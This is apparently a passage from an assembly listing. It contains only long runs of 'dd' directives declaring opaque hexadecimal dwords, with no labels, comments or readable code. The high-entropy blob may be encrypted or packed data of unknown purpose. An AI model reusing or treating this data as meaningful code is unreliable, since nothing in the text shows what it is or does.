8041A5E7h, 0E72631B2h, 0D9044D6Bh dd 80BF1F2Dh, 0ADE6C6FCh, 55A9D705h, 0A8AD98A0h, 86456653h dd 0D75DADD7h, 0FAE2F43Ch, 60107CF4h, 74BA4D5Dh, 496BD734h dd 83E7D846h, 0C4516BA5h, 0C72D97EAh, 9640407Fh, 62AF4E77h dd 19DD8469h, 0CF7EE7A2h, 9587D545h, 2C7928B1h, 6B4497DAh dd 0D246412Bh, 0AD754EDh, 74E7C444h, 69A2F797h, 15B4E9C5h dd 0C5D4FDE7h, 0F795EDCEh, 0E70645E9h, 4A186EDh, 0EDF30664h dd 69A5AF1Fh, 1F2DD305h, 0C74965C7h, 0D72F7FCEh, 0E4C575A2h dd 0C2E75A2Dh, 328C8C8Ch, 0D800A3BFh, 8E2DCDC6h, 0C748C7E7h dd 0A3CEADE2h, 0FAC741EEh, 20C715B3h, 0F4B30079h, 55E5612Eh dd 0D2AD8C61h, 0C6F875C7h, 0E7F7EDE3h, 0A3815DE5h, 0EA73182Dh dd 0EDF14645h, 79A2A532h, 72F4C9C5h, 3788EF7h, 712EF688h dd 0DCC6596Bh, 0EDB352FEh, 6DDD4655h, 65E5A038h, 0DCF4AAB8h dd 464568A3h, 0E7762DF1h dd 0E1C4E4F6h, 0A1C769F7h, 0F445CD45h, 516DF730h, 0DF2DC104h dd 84752CD7h, 60F1F4D5h, 0FC84656Ah, 28E7DFFFh, 6DA68145h dd 55EAE7BCh, 0C72D918Bh, 85F4844Dh, 0C7F7B1F1h, 0ACA3696Ah dd 6BE7DF76h, 2DF60759h, 6129531Dh, 482D8D0Dh, 6D4FB13h dd 5071ADC3h, 0CDC6DC34h, 0A8F7892Dh, 2D9D8B49h, 98EFD71Ah dd 0ABF9FF46h, 0C6BCD2C7h, 0C7F76DE0h, 0BFA369AAh, 32F768F4h dd 6DA06C7Ch, 0E80EE713h, 0F22DCD84h, 0AB7452F7h, 0C7FF0EB8h dd 0A1A1DCFEh, 33D72CF7h, 2D8E8D7Ch, 4858F724h, 0DC2DFBC7h dd 7512DB1h, 0F71F06FBh, 9026DCD4h, 6BE7DBADh, 0BEDC4555h dd 4DA263CBh, 5F1B869h, 0BED058C7h, 239A2D81h, 0B9A065A2h dd 6239A2Dh, 0F9B7CAECh, 65A0034Eh, 0FDADCD84h, 46441AF7h dd 0D710ADF6h, 0FDC6745Ch, 0E92181EDh, 0EDCE4645h, 0D875C793h dd 0C1C6D707h, 94C81B91h, 0F09676B8h, 0F006C41Ch, 9A72CDF7h dd 6DA84B5Ch, 75E9E7BAh, 33ADBDEDh, 0C71CABF2h, 2350EDCEh dd 0E5868427h, 28F0C3EDh, 2D8C8059h, 9B1BC788h, 0D836FC06h dd 594ECF7h, 0E7D90EF3h, 0C68541A2h, 2CE0F334h, 4FD3C451h dd 0B4B220BAh, 0FD3EF306h, 80592D21h, 0E7DB36BCh, 0C98561A2h dd 0EEF77A41h, 0AD89AAAAh, 552E0350h, 5D3ED884h, 849060A3h dd 0B1E9ADFDh, 0FA05C892h, 0E3634B2Dh, 0ADE94445h, 6D6BECABh dd 482DD245h, 8541A279h, 0F7DFB5F3h, 9E567D26h, 4EC714EDh dd 0F7E1C46Ch, 6520D704h, 0DBF7A800h, 57D6BD7h, 0EE1972EFh dd 0DF067D6Ah, 0F5C7AC19h, 0E0E38528h, 6563E7E3h, 0FA0ED805h dd 0F7DA0D7h, 0E08BED22h, 4D3755EAh, 2AD7FFADh, 0EDA74145h dd 49E961A3h, 122DCD84h, 0F7B42DD7h, 53386D60h, 7DB7552Ah dd 0E501112Dh, 81B3507Dh, 1860D70Dh, 3D2DA5B9h, 9449EDC2h dd 6005EDA4h, 0FC079432h, 0DCF2CE70h, 6DB8ABF8h, 0BCDD9115h dd 9036F606h, 75143AE7h, 0C08176BAh, 8F935DEBh, 0A2C725ADh dd 6DE94686h, 1072C750h, 0F12D8657h, 45CF9CF2h, 0A40F78F3h dd 0D044596Bh, 5D911D78h, 86F2C4C8h, 0A848B113h, 0E1ADCFC6h dd 0B444D2F7h, 0EE25ADB3h, 90F14125h, 7FD761ADh, 0ADE74685h dd 756BB288h, 7B8C344h, 947DE8E7h, 0E7D876ACh, 0FB86516Bh dd 6B2193B8h, 0ADABAA69h, 0FCB4827Ch, 0E4AD8F8Ah, 0C57963C7h dd 0E7D502C8h, 52B32012h, 0B3C79CADh, 0BCA0AD0Ch, 40DEB321h dd 0E4EDC146h, 645A07Ch, 0C70281F3h, 0C0BD1030h, 0E14EAEE3h dd 0C3DE3D69h, 5DEAC79Fh, 0ECADB693h, 0A516762h, 7137ADB2h dd 0CD055D6Dh, 20C7AC2Dh, 3C485255h, 79A1518Eh, 87F3C1C5h dd 8449A5C7h, 132AF0FEh, 0CD057D2Ah, 0C4D7CD2Dh, 73F28464h dd 49EFC7DFh, 5239C2C4h, 0C569A420h, 0B25E2DE6h, 0F9C4752Dh dd 0E5F787F0h, 4F88449h, 412021BFh, 0AE3C87C1h, 4755AD70h dd 0F23A78FBh, 8D2165E0h, 1AF7EDADh, 0ED5C3854h, 7784E798h dd 0AA3C88E9h, 47C49AF7h, 62D12DD8h, 0F3C57563h, 24A1E13Eh dd 36908169h, 0A0A2E7CCh, 0ABADB3BEh, 0A1A60B10h, 749AEDBDh dd 0E2FE94C8h, 0B66290EDh, 0BABD9C4h, 0C431A31Dh, 25EDCC46h dd 55143B02h, 0D7B8EDA4h, 0E1444D26h, 8FC7F3ADh, 6DC9C4B0h dd 792F2181h, 0BB2D8DF4h, 726852F7h, 0E7D976B4h, 0DC4410D0h dd 0EAEE31BEh, 0B2AEAB75h, 0B8951264h, 5D0B6BF9h, 4655A4B1h dd 51EE3CF6h, 0A7AA8CCEh, 0AAD7B8EDh, 6DDFFE55h, 0D475C758h dd 0E78EC3C6h, 2A7074E7h, 74992D9Dh, 0D9C7B14Ah, 367C162Dh dd 5A8421D0h, 0B31E28E1h, 0C7D2561Bh, 19496AD7h, 0E7A02268h dd 84826928h, 0DF24C330h, 62D53EB1h, 0B9D924CBh, 96ED6461h dd 0C470BB24h, 0D72E33FAh, 0CE7AA958h, 0ED21BF22h, 0FED1C54Dh dd 0F4751DB9h, 960BEA06h, 0EB5921D7h, 61A3F76Ah, 0BCB56DAAh dd 0A5E7DF84h, 0FC5DB35Dh, 41EDE788h, 98BCCB06h, 974D29C7h dd 0F7B52DACh, 0EA8550C6h, 0AA2DD52Dh, 2D03CA71h, 7719C7D1h dd 7ADDF04h, 4745A6F7h, 0DC7EBCE1h, 0F30659E0h, 0E5E70B2Dh dd 0F7CA0765h, 0CF73A14Fh, 0FEAD4D20h, 0CDD0D1E0h, 0F751F3AAh dd 0D4C597E0h, 0EDA127CEh, 0C2FF0671h, 4D6BAF08h, 443CE3C4h dd 5416AA0h, 7114ADF8h, 866349EBh, 4A00FB1h, 7ED3C454h dd 0C044C72Fh, 9B6DACB3h, 60756891h, 0E764AD98h, 0D5C57168h dd 3ED7A6EDh, 0EDE886C4h, 4845E7EEh, 0AA2DFD84h, 0CD4567E7h dd 0D7212D8Eh, 78008F7Fh, 68B398EDh, 0EDC1C571h, 0B83843E7h dd 0AE6D9DE0h, 0E14162C7h, 0D7A02D8Dh, 8AE16D63h, 22F707BEh dd 6DE6C545h, 0E8FEE73Ch, 0E6ADEAC7h, 44F0B6C7h, 0D786B7C4h dd 96F55120h, 0A5D7142Dh, 7CDB4455h, 6564D7DFh, 46DA8C3h dd 0C571ADE7h, 81B2F4E6h, 52BB5D28h, 0C3E7C36Dh, 2DDE4644h dd 0A44D717h, 0CA6D627Dh, 8547C3E7h, 91057BCEh, 0A6E370B6h dd 0FD61682Dh, 2DD2C748h, 5967E7DFh, 0B674B6ABh, 8E71AAE7h dd 0F7FC30BAh, 0EFC5516Dh, 178174BEh, 0A6E8E870h, 6DAAE7DFh dd 30A6BC36h, 0C47C44C7h, 21EAEDF5h, 0E3444780h, 0ADC7863Ch dd 6D794C49h, 5D2D73B9h, 0DF87FA07h, 55DEAF7h, 0D7567FF6h dd 0C9464120h, 0F5D71E6Dh, 6DFD07C4h, 5486E73Bh, 0E5F4C6C4h dd 7F431E7h, 73EABFC5h, 8160796Ah, 2B21872Dh, 2D86A25Dh dd 444183A8h, 4AEDD944h, 0C57D6383h, 0C7F1ADCFh, 0F3C678BDh dd 0E4E714C6h, 2D6A8365h, 68FD211Eh, 1A2DEBC7h, 0C67D66D7h dd 0C7A6ADD1h, 0A402A0C7h, 1683C52Dh, 0EDF504F0h, 4415839Ah dd 606DE446h, 47716B33h, 60BB7FC2h, 0F0844965h, 7DC7787Fh dd 2D897540h, 55ADC707h, 613CEB04h, 0F0C8DEA3h, 123CFCB1h dd 0A9E1F0F7h, 75F7412Dh, 0EDE705D0h, 45A2A365h, 546DE444h dd 22D300D7h, 0A13D2D85h, 86A051AEh, 72A3C3ADh, 40D5C4E4h dd 6929E7D6h, 8DADB2E1h, 0C365A31Bh, 0D7ADAD8Fh, 3F4B6160h dd 213D3CEDh, 6DA0AB79h, 0E0303D0Dh, 0DE47BF35h, 0C747D2D7h dd 5C22ADF1h, 0E6EBE952h, 0EFF7B8F4h, 0BE76146Dh, 59EBC7D3h dd 82B687E1h, 6FF40771h, 0E7FA73D6h, 0ACE161A7h, 0ECF79FB4h dd 47BFBE80h, 8481D7E8h, 956DEE45h, 0C66563F7h, 9125F1D0h dd 0FDC471E5h, 2521CEEDh, 6DE8C641h, 516DC7EAh, 546DBAA0h dd 683ADB3h, 0F77086F9h, 0C2475D6Bh, 0E7812E7Fh, 0EDCDC490h dd 65A5E786h, 85EDA1B3h, 0C5656DD7h, 40036DE5h, 0EF87B864h dd 18C78881h, 87CE07CBh, 45EAD725h, 57ADF646h, 7500BCD7h dd 0F707EDAAh, 648A5DADh, 6B6049EDh, 0B9D6C549h, 88E7416Ah dd 82AD4C14h, 4936791h, 0C7C7B2C0h, 0E884E302h, 43D7C96Dh dd 0B9D68443h, 716260D8h, 3C2D4BACh, 54306D0Dh, 0D7E36177h dd 975458B6h, 0A3FC44EDh, 0B9CA8427h, 876FC761h, 3CADE046h dd 7584210Dh, 0A070EDFDh, 0FD07596Bh, 0F0F8B67Ch, 0B8B3942Bh dd 49EDF7E8h, 2BED89B0h, 561ADF8h, 0F4ADC3E1h, 0C135AD67h dd 26E7916Dh, 6DDB049Bh, 7D20514Dh, 0B2ADA539h, 4555E9C7h dd 0F7EC37DCh, 9A0D7522h, 0F5C73C2Dh, 0ADF684E0h, 4520F707h dd 0F9FFD9C5h, 8555ADC0h, 0F7587CE4h, 0E104492Dh, 6DB39AEDh dd 0B0C60479h, 7965E738h, 0F334AE70h, 0C67CF5C7h, 0E7A5B4C1h dd 0D885696Bh, 925355EDh, 0B890295Ch, 41A2E765h, 8D34C8C5h dd 0E159AA40h, 0E7652D8Eh, 5230B0F1h, 0EAA13CBEh, 0ADA40261h dd 534CC7B4h, 0D77AB6Dh, 23E44F55h, 0C75C6D9Dh, 0A80D7522h dd 558E766Dh, 2D9A28F3h, 0C4B5F728h, 7FCED45h, 615D20D7h dd 0A0D9ADA2h, 0D6047568h dd 0A56041EDh, 7F83F775h, 7DE5B103h, 7EDC304h, 0C769E6D7h dd 0E7F7ADDBh, 0F30459E5h, 2EF7DFEDh, 0ADB60271h, 4920F786h dd 0DFB08DB3h, 4F7DE5E7h, 0D71F38B6h, 0E6C769E5h, 66D7E42Dh dd 0EDE98459h, 4929F7B8h, 2BB0CEC7h, 4B433C7h, 812EADD2h dd 0CD85DC37h, 0BAF79E2Dh, 0ED8CDF5Ch, 7DED9250h, 0D9F3EFC6h dd 0AE79A2F7h, 0D7DF8094h, 0D90555A0h, 0A24DB790h, 78EF8530h dd 48B8E7DCh, 17EDEB46h, 0B26566ACh, 0E71FED63h, 92F065A6h dd 388C8306h, 2D8D9394h, 69A1E7FBh, 0E3B7A38Fh, 4641ED52h dd 0E7A3B6E6h, 0D087656Bh, 6D54363Ch, 0F3CD0459h, 0F8D1D71Eh dd 0DC9E1C5h, 458BBE75h, 0F7E477DDh, 0E70645E9h, 0EBE795EDh dd 0F4F9C56Dh, 0C84EF7F8h, 0B12DED45h, 0C4E46BE7h, 0F7E603C6h dd 0A5CCBCE4h, 0A210E7B0h, 30BBE85Dh, 6DE66171h, 647CDAC5h dd 0C47D6DF7h, 0E774B0C6h, 0D6464565h, 8CA18AEDh, 2DCE46EFh dd 5DA95301h, 584ED84h, 0C5552BE7h, 0C729FFDEh, 962AC492h dd 30D713EDh, 0ED911888h, 696F2384h, 74EDAEF8h, 65DEDF7h dd 0E77987D0h, 0EE46492Bh, 2A217FEDh, 0EDB57D41h, 2808917Ah dd 0E22D9160h, 0CB7166A3h, 0E7BAED9Ch, 0F50475AAh, 0A2A35CEDh dd 2DF3F951h, 0A8976C12h, 0FF2D9DB0h, 0C5696BE7h, 0E7C4C4E6h dd 0CE4648B1h, 6DB1056Dh, 0B0C6C445h, 8433E7F7h, 7073DCC4h dd 53079F7h, 0D785ADF5h, 1DD2D03Eh, 0FE7867Fh, 2D9A21A0h dd 48F5D70Ah, 14833698h, 0C0C00F71h, 34F3F79Eh, 2BD2D03Bh dd 0C8B16EADh, 0EDEF4688h, 49E4E707h, 0E7ADF005h, 0C7E80EE7h dd 70672DE5h, 0D70471E9h, 0B0A17C2Dh, 0EDAE22A8h, 0A5234B9h dd 0C9B0E684h, 0B8999091h, 0A0322DE2h, 0D1C5596Bh, 0A2C06A7Ah dd 30F38551h, 0AB4FD7E4h, 0B36D95B4h, 0C4456BE0h, 8199BCEAh dd 0D74645A1h, 7A3362Dh, 0F6F304ACh, 31224F8h, 56A27CEEh dd 7E59E998h, 0D7542D8Dh, 0BA5A6031h, 0E1510EEDh, 0F45C7A79h dd 496EE7E4h, 0DFEDD5C7h, 3A6967C7h, 0E7342D66h, 0C247456Bh dd 7BE72BFCh, 0ADFB46E8h, 0DB758565h, 6940D384h, 44756B7Fh dd 9231FFDCh, 0E64469EDh, 81D737BFh, 8FACA4FCh, 5DE2E709h dd 252DA2C2h, 0DE4926E7h, 0D7147196h, 0C1C76839h, 3F7A72Dh dd 2DE80674h, 45EE93C7h, 5AFCC2C5h, 3864BD11h, 0E70904ABh dd 0FF857F3Dh, 82F74ABFh, 0BF9F3EC7h, 69E7E735h, 0BCADA14Ch dd 0C4656381h, 0C7E074D3h, 0F245EC7Dh, 29F7DF01h, 0ED452359h dd 0A86C8148h, 57ADC7C7h, 82652EAFh, 8147ED39h, 4EC24DEFh dd 0E7AB0A6Dh, 2D87E34Dh, 596C8F57h, 0EC7C9003h, 4C7C78E7h dd 0D7477499h, 0ADEF4C3Eh, 6E9D5CADh, 0C3D7C66Dh, 0C40FF725h dd 0B349C0Ch, 0CD51E7C7h, 0E724F2B1h, 0E844FC77h, 6D312EB1h dd 0C1F9C769h, 0CCC0A0F5h, 0FAAD812Dh, 0C4696DB3h, 616BEDF9h dd 66EC7963h, 32E7FE6Dh, 0ADC34644h, 95BFE79Fh, 0ED7FCF73h dd 0E9D4F4F7h, 5D4B6797h, 0A3F659A0h, 0CF6D55ADh, 332DFAFCh dd 0D1F58D85h, 0CBAD72A1h, 0C171A0E7h, 0F79AF296h, 0EEE12874h dd 0AD53D6FCh, 2D4D2049h, 6169D77Ah, 7F9F08h, 0CE69E2BFh dd 0E7086DA8h, 0CCC6733Dh, 2001E87Eh, 2DE54641h, 0E430A05Ah dd 0FDADDAC4h, 4469E3A3h, 0E7D9C6E7h, 76D27443h, 519D0037h dd 0F6C3C4A0h, 59EA21A1h, 0DF2DBDE8h, 0C67D6CF7h, 21BD3FE1h dd 0D6C6C457h, 0E2F7CBFFh, 2DAB6165h, 79E2D7DFh, 0CAAD50E3h dd 5796BE7h, 0A1E02DF9h, 0D5055563h, 0A5C77F79h, 0AD8F3E75h dd 5095E7B9h, 0DF2DD984h, 4941EED7h, 0E7D3F793h, 0A2E8FCDDh dd 0E7E73844h, 2DADE941h, 45E7F71Fh, 216DED44h, 0C789D1F7h dd 7D366DE2h, 0EAC5A8BBh, 0A5815FEDh, 0ADA56145h, 6710D787h dd 4F790ECh, 84E706E7h, 0E77077E2h, 0C1C57D6Bh, 69F278FFh dd 2DB9A85Dh, 0B43253ECh, 0F8B6FB47h, 5125C7h, 0C7D4ADA0h dd 0B8EC40FEh, 56F7CEADh, 0F6DC07E4h, 0C4DCE7C8h, 87F3E347h dd 1E7DEAE0h, 7095F4B6h, 0E584E4DCh, 0A2F7ABB7h, 0EDEAC675h dd 94F1F780h, 0E5268999h, 8659A2E7h, 0D06370E7h, 0FAC79363h dd 2DBD3B6Dh, 0ADDDC771h, 0C812730Fh, 0DFF6DC06h, 0C68072F7h dd 3F9DBFD2h, 95F95DE5h, 0ADE7262Dh, 44C7C761h, 0EB3DE74Ah dd 0D1F6E384h, 0CEE839C7h, 0E77FC19Bh, 0DC464032h, 83FAEDh dd 6DEE86E4h, 0C8D6D7A5h, 0ABED9FB4h, 2941AB21h, 21AB2DB9h dd 0EC047129h, 64E7C7EDh, 0EDDCC749h, 49A82164h, 0FFEDF746h dd 0C56120E7h, 0A1CAF4E3h, 0E1C449E5h, 0A8A27A7Fh, 2DDDC749h dd 496AD72Bh, 0FAEDA42Ah, 6752E83h, 0E170F8E6h, 0DA46596Bh dd 2D73C4EDh, 0EDDDC475h, 0CC3EE7A5h, 0BCADEF86h, 0F4FC7781h dd 0E7F82D45h, 84EF51A4h, 63F797B4h, 2D41F43Ch, 69E2E70Ah dd 1FF4E3C5h, 0D76D65E7h, 0D7DDF663h, 0C10451EDh, 2511162Dh dd 6D423471h, 5528EA7Bh, 0DCF6A36Bh, 86D45AE7h, 0E7586DE0h dd 0E5856DA2h, 20C74376h, 33AF742Ch, 492BE234h, 0CC2DFDC7h dd 86886FDCh, 0C7A4ADD0h, 0BA37D095h, 0EBE0812Dh, 0ADADEA59h dd 0FFFFF7FFh, 0DD2D8523h, 66DA521h, 0F7CB01C5h, 0B81775E1h dd 23E7FF09h, 7499D775h, 3C63F7B6h, 6FEDB1ADh, 0C6D4DCA1h dd 0E7A3ADD1h, 0E1444563h, 0A6D27879h, 0B71B5441h, 5DA6B1CAh dd 0FCAD4DB4h, 233CADE7h, 0D7DF2D81h, 0E8C469A5h, 63E737D8h dd 0D8FB4465h, 51E1C7D8h, 0FFED1DD1h, 915DE0E7h, 0AEAB2D04h dd 90F47C5Ah, 2DF7F4ADh, 4FFC77Dh, 4DEDC0A5h, 68724DC2h dd 84656B2Ch, 0E7F4ADCDh, 0CB4604ADh, 6B1360EDh, 0F7D34565h dd 0B8739042h, 0E1ADE5C6h, 0C5F31CE7h, 0E7FF0CECh, 6A3065A0h dd 0F03360EDh, 0C8BB6917h, 796BE7D0h, 94D8DCC7h, 500C68B1h dd 0E7E9AD8Dh, 0E246BBF2h, 6BD0747Ch, 0ED8DF061h, 7DE3AA42h dd 68EDC073h, 6988841h, 0F765ADCFh, 0F1045D6Dh, 0D49092EDh dd 0FEF386ACh, 75AE2183h, 336D0DA8h, 6BECDC23h, 0E7C9AD98h dd 0FB456563h, 76F7EFD8h, 2DB2AA36h, 0C8868349h, 0E66DABB6h dd 75D6B6Dh, 0EE662DCFh, 0D7C661ADh, 64E70A7Ch, 77A5D775h dd 7126C7A2h, 0F1ADAD60h, 8469A0D7h, 0E7F82DCDh, 75AD75E0h dd 6E7CEDEDh, 6D9AD865h, 1F47C7E6h, 0A9EDD806h, 3D41A07Ah dd 0E762ADD0h, 0EA46C4CDh, 0E5927FBBh, 0ADF68645h, 3BF26136h dd 9F7B92C3h, 7D7163F7h, 0A3452D59h, 0EAC6F0CDh, 46F7E2A3h dd 0ADE604B1h, 592F51C5h, 0ABB38EDCh, 0A2692B21h, 0C7862D49h dd 53A24D2Ch, 20C79FF3h, 90BB1D14h, 84347068h, 5180D570h dd 0F47C15C7h, 0F7DEB48Dh, 0C0C5496Bh, 0CDC7D9C3h, 0A3EA443Bh dd 4121D74Ah, 0C5EDF0BCh, 9F5DE071h, 0F706F353h, 8CF47C3Dh dd 43F7132Dh, 2DCD0758h, 59A65E45h, 1E6DEBFCh, 0C7C49864h dd 42AEBFCCh, 9763270Ch, 0A0520D7Ch, 0BB217F45h, 5DE05068h dd 0DDAD8D94h, 3D7CFDC7h, 0E75C2DA3h, 0FB85C784h, 0C7E9BBh dd 6DEF86D4h, 7D26E7A5h, 2DADD145h, 456926E7h, 0E722ADD1h dd 0D1456126h, 26E723ADh, 0ADD14549h, 5D26E720h, 21ADD145h dd 45D26E7h, 22AA71F0h, 0BF3D7D29h, 256EC8EDh, 0EDFE4649h dd 49E0F730h, 0FF2DD446h, 0D85928E7h, 32B06D61h, 0C4C53F7Fh dd 81C744EDh, 4AC4C6FBh, 616B3DC2h, 7F7FCE45h, 464564E7h dd 0E7292DF0h, 8F57608Dh, 0A1F754F4h, 0B7D80655h, 55E0D727h dd 1E2DAF23h, 6E4F720h, 0F7652DCEh, 84DAECDEh, 0EBD75CB4h dd 6D9A0369h, 0DF8FF7CBh, 0EF6DD446h, 549EDA1h, 0E7B8EDE4h dd 0B93D7D63h, 0B3F7EAADh dd 0ADD9C7E4h, 0F09AC7E3h, 68ADBFB0h, 1A612140h, 0B18BF396h dd 9E4AA4A3h, 2DECDD2Dh, 0F3931D65h, 10DAF768h, 676DE8C7h dd 0C44161BDh, 0E7E42DE3h, 0DE1C487h, 0FDC7D0ADh, 2D9CE15Ch dd 5D246EC8h, 9F1969Ch, 0AF69AEA2h, 0E7FFB25Bh, 76E36DEFh dd 82C794ADh, 2DB52A07h, 8A09025h, 53F6B6B2h, 7970BDD7h dd 83276D4Ah, 0EE46C4B1h, 6BE75A6Dh, 8CC64471h, 4568C73Ah dd 0DF33B30Ah, 0C5EEDAF7h, 0D776ADD1h, 0FD045DEDh, 0A2F7E5EDh dd 0B0FDC445h, 0D8996DEEh, 6274B4E8h, 0C784337Dh, 211CFCCBh dd 0E106456Bh, 4EBDB12Dh, 0CEFB080h, 5B3CC73Ch, 507C4270h dd 0F47C7FD7h, 0E7742DA2h, 67AB5564h, 0A2F7ED54h, 76D28569h dd 881BD7CEh, 0CAC3859Ah, 9596AC7h, 31A5B498h, 5AACF0FCh dd 66A1682Dh, 0ADA8F645h, 592101CFh, 0E1ADABB2h, 6DC93D7h dd 0C7AB3CF3h, 0CD855521h, 0B8C798B4h, 0FBB87158h, 0FF9229F3h dd 5496DCC7h, 455D6BD7h, 1D33A6F6h, 0C5C70472h, 93C79B8Eh dd 0B4B43970h, 6D6DF7B5h, 2C3450CCh, 6D4D6D61h, 0A3C3AD74h dd 0F145696Bh, 0A903447Ch, 0EDD94641h, 0E093A31Eh, 68B4CDC5h dd 4D33BD7h, 2BDD2DFDh, 0E6044D6Bh, 65A5102Dh, 0EDB26255h dd 712DB31Eh, 58EDE107h, 0E2C835E7h, 0D730BFA9h, 0E404628Ch dd 0EA6CE12Dh, 6DD5C751h, 51A57D8Ah, 8C766583h, 0A061E9C7h dd 0E708EDAAh, 0A50F55E9h, 0C95304EDh, 0FC8B76DFh, 412EF786h dd 42D608Fh, 444C3F43h, 0E71476C8h, 0CE84796Bh, 0E51DB57Ch dd 448E3675h, 0C07FD7BCh, 9B6DCB46h, 0B4C835E7h, 0E76BADAFh dd 7E3E18A1h, 0ED9342ADh, 2DD9C451h, 64977140h, 0D92DF0C6h dd 67521B3h, 0D772ADFAh, 0EC447560h, 0B8C7A66Dh, 2DECC564h dd 71E0D715h, 0F82DDA84h, 0C555A7E7h, 0E75BF6E5h, 0D68478B6h dd 0E7C79EEDh, 0EDF54684h, 7CF01325h, 4D6DA340h, 2B7CB8C7h dd 0D72BED91h, 0E3075D25h, 83E705EDh, 0ADDD04F4h, 0F4413171h dd 506DC5C7h, 0C5F4D083h, 0E770ADD1h, 0E0047561h, 0E43171ADh dd 6DAC6255h, 7161A350h, 71AD9A68h, 471E121h, 0F0E0ADC7h dd 0C74645A0h, 0F0F7762Dh, 2DE045C8h, 71E7A2A1h, 0BCEDBD68h dd 6871E421h, 0D7F7EDADh, 0E3C6FC3Dh, 6BD7B8EDh, 76F1C469h dd 5D6BD73Eh, 0BF76F105h, 5416BD7h, 0D7BC76F1h, 0F105756Bh dd 6BD7BD76h, 0ADCF4559h, 0D812E7A5h, 0D1BEDA47h, 46C8DD81h dd 0A172EDEAh, 0DA47E012h, 93F7A9A6h, 76F445C4h, 4163C7A6h dd 0E9ADCF05h, 0BEC35D7h, 0D7646D6Dh, 0CDC469A0h, 66F7BE2Dh dd 0ED9EE165h, 0AC45D7D3h, 0FEADC5C7h, 84512083h, 0C73337C3h dd 8F224DE9h, 63C773ADh, 2DCEC461h, 4D63C793h, 4FADCF04h dd 0A05DE811h, 305FB187h, 7A41DC70h, 0D1E2356Dh, 2DE10473h dd 0B4E5017Bh, 0F1EDF145h, 0C57963C7h, 81EC31F1h, 0C7045404h dd 6441DCFFh, 0AD822F13h, 1F9DF0E4h, 0CB6DE687h, 0B7B7DFC7h dd 30AAED85h, 0E8C5C417h, 0D1D7C76Dh, 70E884A3h, 696E6D11h dd 352D4D2Fh, 8068C9E7h, 1399ADBAh, 0D6079EA1h, 61E7FF47h dd 0ED42E049h, 0D7F863D5h, 7C04F085h, 847DE0DCh, 216871DBh dd 0ACB241E9h, 85D7356Dh, 0EDFDC4E8h, 0E8FEE080h, 3447D607h dd 6D59A0D7h, 0E7002D8Dh, 0EAC748C9h, 0AAE24C2Dh, 3CDE0751h dd 9CFB01AEh, 7979D6C7h, 0EB712A51h, 0DC48ED86h, 98B5496Dh dd 6BE756F4h, 0BFE94751h, 8C52C20Ah, 87EDC644h, 857562D7h dd 0E7DAB4C5h, 0B46E7C01h, 14C7D53Ah, 0F4C1C66Ch, 7561E707h dd 976DE0C5h, 0C569A2F7h, 0D715F7C0h, 0EDC4656Dh, 0E9F72FEDh dd 2DDDC661h, 71E9D765h, 77AD9977h, 0C575A1D2h, 416EADF2h dd 0CDC545A1h, 0AED77E2Dh, 0F0AB8061h, 0C0F8E7DAh, 7EDDEC7h dd 747DE9D7h, 0D7D97168h, 0DF447DEDh, 21C70534h, 2DDAC555h dd 45A5C714h, 780D504h, 4F5528D7h, 0D7722DA3h, 94F751E9h dd 66C7DF2Dh, 3CF28471h, 7165E023h, 8AEDA2FAh, 8179A341h dd 0B06B33B0h, 0C80744DAh, 30E77BADh, 2DC846C4h, 0E0F5E7B3h dd 0E02DC9C7h, 0E91821D7h, 71B92D95h, 0A9EE45A3h, 26F08C71h dd 6DF40675h, 792A91F2h, 6530D086h, 759A770h, 6122FCE9h dd 901079E4h, 25D20A34h, 2DE48771h, 1396C70Bh, 112DC5C4h dd 0AD59A000h, 0E741ED91h, 0EC44FC30h, 0FEE7C46Dh, 70AAA9A0h dd 79E5F10Ah, 2BADA3B2h, 46DEAD7h, 536A2DC3h, 89336566h dd 10F79D34h, 2DD544F3h, 61A34DAAh, 216DD9C7h, 0C5207F70h dd 81FF6DE5h, 0AF827D6Eh, 35E74A32h, 2D89A968h, 55E8E016h dd 5D70BEE1h, 0C7412BA1h, 0E7DAADD0h, 0F4074D6Bh, 0FD81E62Dh dd 2DD8C5E0h, 75EDA1E6h, 74EDE404h, 0C5C0FDC7h, 0D72508DDh dd 0F7067DEDh, 0EAE7BA30h, 0ADD68659h, 3845D738h, 0B9ADD3C5h dd 338C72C7h, 0D7F82D81h, 0ED846961h, 2AC7DDF4h, 2DB2D3E8h dd 61A3A2C4h, 0BA6DA653h, 0F475EBE7h, 0A01F7495h, 0E3877563h dd 0A7B1663Ch, 34B5126Dh, 87867A22h, 66CBDFC7h, 8028FAC7h dd 0F714889Fh, 6AA2B039h, 0FD748EDh, 0ADE3C574h, 65A6E71Ah dd 0D0ADAF7Dh, 0C7348643h, 0F71DCBDFh, 0AA8028BBh, 20805DD6h dd 2D9A5271h, 55ED712Ah, 458383DDh, 2A4A9E7h, 0F77F7095h dd 8E305564h, 6B7FEDB0h, 0FBC74675h, 552DF7B0h, 0C1EDC144h dd 84A4F3D7h, 0B2B93CDFh, 6023B4E7h, 7AE7F56Dh, 0AD998338h dd 512D31ABh, 6BADC904h, 46452320h, 0E724ADD6h, 0A1F89149h dd 268D2EEDh, 0ED710951h, 4D67A36Bh, 853B2FDEh, 8179A76Fh dd 0E7B4F782h, 81A26523h, 0E1E7B470h, 0C2A7AF79h, 0C41FF79Fh dd 0E5C78F8Dh, 87105928h, 42573EC5h, 0E94404C7h, 2B6E9F2Dh dd 0DA96157Dh, 552AF7D4h, 1FF4ABA0h, 0C191D1F7h, 0E7A82D8Ah dd 0D807C0F5h, 6923C534h, 0AD994C65h, 756524B0h, 0B0ED4901h dd 835D632Ah, 0A15D6DA5h, 0FC8465E3h, 2031AD33h, 33FC4445h dd 7D6BE7FDh, 0FCADE884h, 827D6999h, 2AA5239Ch, 0A9157D22h dd 2E00E0E2h, 0BAE9C545h, 5D2137h, 3CADAE6Fh, 0FA69255Fh dd 0C7F66D28h, 0E1C430BCh, 0E5D71FADh, 0ADA1BE41h, 0D8C1D74Ah dd 0F612A661h, 0DAB559C7h, 2ED3AD4Dh, 6DBA5D61h, 0A7E74AADh dd 0B1DF7A71h, 6B350457h, 0F30AFDC4h, 84C7F5D7h, 0C7F56DDBh dd 0E746C575h, 24B9E0EDh, 0AD89E15Dh, 65E06237h, 0C6ADF684h dd 44E433C0h, 0D7FEB3C7h, 0A18D1CE7h, 5E736DEDh, 0B4A0F448h dd 45A312EEh, 7FCEDB05h, 0FC7561E7h, 6150CAB2h, 0AB5341E7h dd 0AFF719FCh, 0ADD74645h, 70BEF777h, 6A84D207h, 40556261h dd 0C7DB6DAEh, 0A689DC32h, 0E2E7946Dh, 0ADB06945h, 552BE707h dd 15B9AA1Fh, 